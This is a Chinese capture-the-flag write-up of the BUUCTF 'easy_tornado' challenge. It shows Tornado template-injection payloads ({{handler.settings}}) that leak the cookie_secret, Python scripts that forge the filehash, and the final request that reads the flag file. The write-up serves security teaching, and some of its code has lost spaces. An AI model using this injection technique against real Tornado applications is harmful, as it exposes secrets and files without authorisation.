【buuctf】[护网杯]easy_tornado

admin 2025年4月23日18:04:56评论1 views字数 2205阅读7分21秒阅读模式

[护网杯]easy_tornado

访问url:

http://27144826-6551-4fbe-8d5a-348db2ffd239.node3.buuoj.cn/

打开页面发现三个链接依次打开 

【buuctf】[护网杯]easy_tornado

发现各自的文本

flag in /fllllllllllllag
render
md5(cookie_secret+md5(filename))

从上面三个信息我们的值flag在/fllllllllllllag文件,render是模板注入,经过测试发现过滤了

payload:
http://27144826-6551-4fbe-8d5a-348db2ffd239.node3.buuoj.cn/error?msg={{1*2}}

如下:

【buuctf】[护网杯]easy_tornado

render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页 render配合Tornado使用

Tornado是一种 Web 服务器软件的开源版本。Tornado 和现在的主流 Web 服务器框架(包括大多数 Python 的框架)有着明显的区别:它是非阻塞式服务器,而且速度相当快。

然后就是这段代码md5(cookie_secret+md5(filename)) 我们根据之前打开文件的url参数分析这个就是filehash的值,想获得flag只要我们在url中传入/fllllllllllllag文件和filehash 经过这段代码处理的值即可关键就在cookie_secret,我们得想办法获得cookie_secret 

在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量

通过模板注入方式我们可以构造

payload:
http://27144826-6551-4fbe-8d5a-348db2ffd239.node3.buuoj.cn/error?msg={{handler.settings}}

成功拿到40ab5ed8-4c6f-4e2f-b92e-1fda29e82f4d

【buuctf】[护网杯]easy_tornado

根据获得的cookie_secret构造md5(cookie_secret+md5(filename))这样的py或者手动cmd5去加密

python3版本

importhashlib
hash = hashlib.md5()

filename='/fllllllllllllag'
cookie_secret="40ab5ed8-4c6f-4e2f-b92e-1fda29e82f4d"
hash.update(filename.encode('utf-8'))
s1=hash.hexdigest()
hash = hashlib.md5()
hash.update((cookie_secret+s1).encode('utf-8'))
print(hash.hexdigest())

python2.7版本

#!-*-coding:utf-8 -*-
importhashlib
defmd5(s):
md5 = hashlib.md5()
md5.update(s)
print(md5.hexdigest())
returnmd5.hexdigest()

deffilehash():
filename = '/fllllllllllllag'
cookie_secret = '40ab5ed8-4c6f-4e2f-b92e-1fda29e82f4d'
print(cookie_secret+md5(filename))
print(md5(cookie_secret+md5(filename)))
if__name__ == '__main__':
filehash()

得到加密后的结果0e68f61488cca5aad0677cad0f8b8e8e

【buuctf】[护网杯]easy_tornado

filename拼接我们的flag文件/fllllllllllllag将加密的结果拼接在filehash的后面得到最终payload:

http://27144826-6551-4fbe-8d5a-348db2ffd239.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash=0e68f61488cca5aad0677cad0f8b8e8e

得到flag{44570899-653f-48eb-be17-2f57febc0580}

【buuctf】[护网杯]easy_tornado

攻防交流群

【buuctf】[护网杯]easy_tornado

声明

免责声明:该文章内容仅用于学习交流自查使用,请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息、技术或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关,公众号儒道易行及作者不为此承担任何责任。

转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。

原文始发于微信公众号(儒道易行):【buuctf】[护网杯]easy_tornado

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月23日18:04:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【buuctf】[护网杯]easy_tornadohttps://cn-sec.com/archives/3966808.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息